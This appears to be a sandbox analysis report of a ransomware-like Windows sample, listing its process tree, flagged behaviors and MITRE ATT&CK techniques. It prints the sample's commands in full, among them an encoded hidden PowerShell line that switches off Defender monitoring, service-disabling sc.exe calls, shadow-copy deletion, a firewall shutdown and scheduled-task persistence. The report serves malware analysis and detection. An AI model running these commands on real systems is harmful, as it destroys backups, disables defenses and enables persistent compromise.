PID 3980 wrote to memory of 3688	3980	wherein.io_chrome.exe	147
PID 3980 wrote to memory of 5572	3980	wherein.io_chrome.exe	148
PID 3980 wrote to memory of 6084	3980	wherein.io_chrome.exe	179
PID 3980 wrote to memory of 4776	3980	wherein.io_chrome.exe	155
PID 3980 wrote to memory of 4696	3980	wherein.io_chrome.exe	157
PID 3980 wrote to memory of 5620	3980	wherein.io_chrome.exe	158
PID 3980 wrote to memory of 2968	3980	wherein.io_chrome.exe	159
PID 3980 wrote to memory of 3232	3980	wherein.io_chrome.exe	160
PID 3980 wrote to memory of 4896	3980	wherein.io_chrome.exe	161
PID 3980 wrote to memory of 6016	3980	wherein.io_chrome.exe	162
PID 1284 wrote to memory of 1244	1284	cmd.exe	169
PID 5188 wrote to memory of 1212	5188	cmd.exe	170
PID 2968 wrote to memory of 3512	2968	net.exe	172
PID 1748 wrote to memory of 304	1748	cmd.exe	171
PID 992 wrote to memory of 5904	992	cmd.exe	173
PID 5572 wrote to memory of 3720	5572	cmd.exe	189
PID 3724 wrote to memory of 5672	3724	cmd.exe	175
PID 3688 wrote to memory of 4140	3688	cmd.exe	176
PID 1212 wrote to memory of 2448	1212	net.exe	177
PID 1284 wrote to memory of 6084	1284	cmd.exe	179
PID 4020 wrote to memory of 5308	4020	chrome.exe	180
PID 4020 wrote to memory of 3408	4020	chrome.exe	181
PID 4020 wrote to memory of 3408	4020	chrome.exe	181
PID 4020 wrote to memory of 308	4020	chrome.exe	182
PID 4020 wrote to memory of 308	4020	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://wherein.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffb4f1ec728,0x7ffb4f1ec734,0x7ffb4f1ec740
    3⤵
    PID:4036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,5088306035083186252,7486762845894027156,524288 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=2492 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,7631930952722822831,16854169072187931820,262144 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=2460 /prefetch:2
    3⤵
    PID:4980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2900,i,11456487446744461358,2496645606572471359,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=3344 /prefetch:1
    3⤵
    PID:4244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2032,i,4525495816675816234,16412366751414333514,524288 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=3312 /prefetch:13
    3⤵
    PID:3736
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2916,i,10447456294487089654,12902004898057506049,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=3364 /prefetch:1
    3⤵
    PID:1256
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4632,i,10461309943754453815,18062811548774588069,524288 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:14
    3⤵
    PID:4772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4796,i,18250745047655061332,2688800992614631966,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=4816 /prefetch:1
    3⤵
    PID:5440
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5616,i,13524755582279951292,2497017984169252048,524288 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:14
    3⤵
    PID:5308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5780,i,2989618614961801644,16126366717543447840,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=4744 /prefetch:1
    3⤵
    PID:3408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5792,i,13649570043164969052,4163490804273600878,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:1
    3⤵
    PID:308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=4724,i,17163952434593822623,15202104777615507372,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=4016 /prefetch:1
    3⤵
    PID:3984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6052,i,8010939870316965011,4288586412791379649,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=4748 /prefetch:1
    3⤵
    PID:5800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6112,i,13985938425606884996,10930989337295390315,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:1
    3⤵
    PID:4152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6316,i,7681932506577584443,14436174739413242687,524288 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:14
    3⤵
    PID:2756
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6356,i,12071099863706895133,4322173808579364146,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=6052 /prefetch:1
    3⤵
    PID:3720
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6044,i,14734527099722157159,12392630655767723702,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=4724 /prefetch:1
    3⤵
    PID:4916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4712,i,5566662930346327494,14492621388464522569,524288 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:14
    3⤵
    PID:252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=4164,i,559965805600724840,10188998472210542175,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:1
    3⤵
    PID:500
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5852,i,14792799660535601036,9517453962722338516,524288 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=4200 /prefetch:14
    3⤵
    PID:4412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=4880,i,11929539989156908500,17938607138048636795,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:1
    3⤵
    PID:3268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4896,i,7593717750075736989,17089754124470586184,2097152 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=6028 /prefetch:9
    3⤵
    PID:1632
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5904,i,14607849934656115696,4768335689724244474,524288 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:14
    3⤵
    PID:6048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5668,i,1802986909850260409,4230616953890905634,524288 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=5764 /prefetch:14
    3⤵
    PID:5860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5980,i,6827398250577294305,12096331621718580163,524288 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:14
    3⤵
    PID:4344
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4676,i,267043698384989548,13793842302078704027,262144 --field-trial-handle=2464,i,3188077304933652348,14315163322556544188,262144 --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:10
    3⤵
    PID:5756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1772
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5536
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4088
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1776
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5092
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:5800
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3300
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2644
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3984
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5316
- - C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe"
    3⤵
    PID:1380
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:6048
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1664
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2084
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:480
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:708
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1192
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:572
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1244
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6084
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:992
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5904
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:304
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5672
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5188
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1212
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2448
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3688
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5572
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3720
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6084
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4776
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4696
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5620
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3512
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3232
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4896
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:6016

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1136

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5436

C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe
1⤵
PID:396

C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\wherein.io_chrome.exe
1⤵
PID:920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery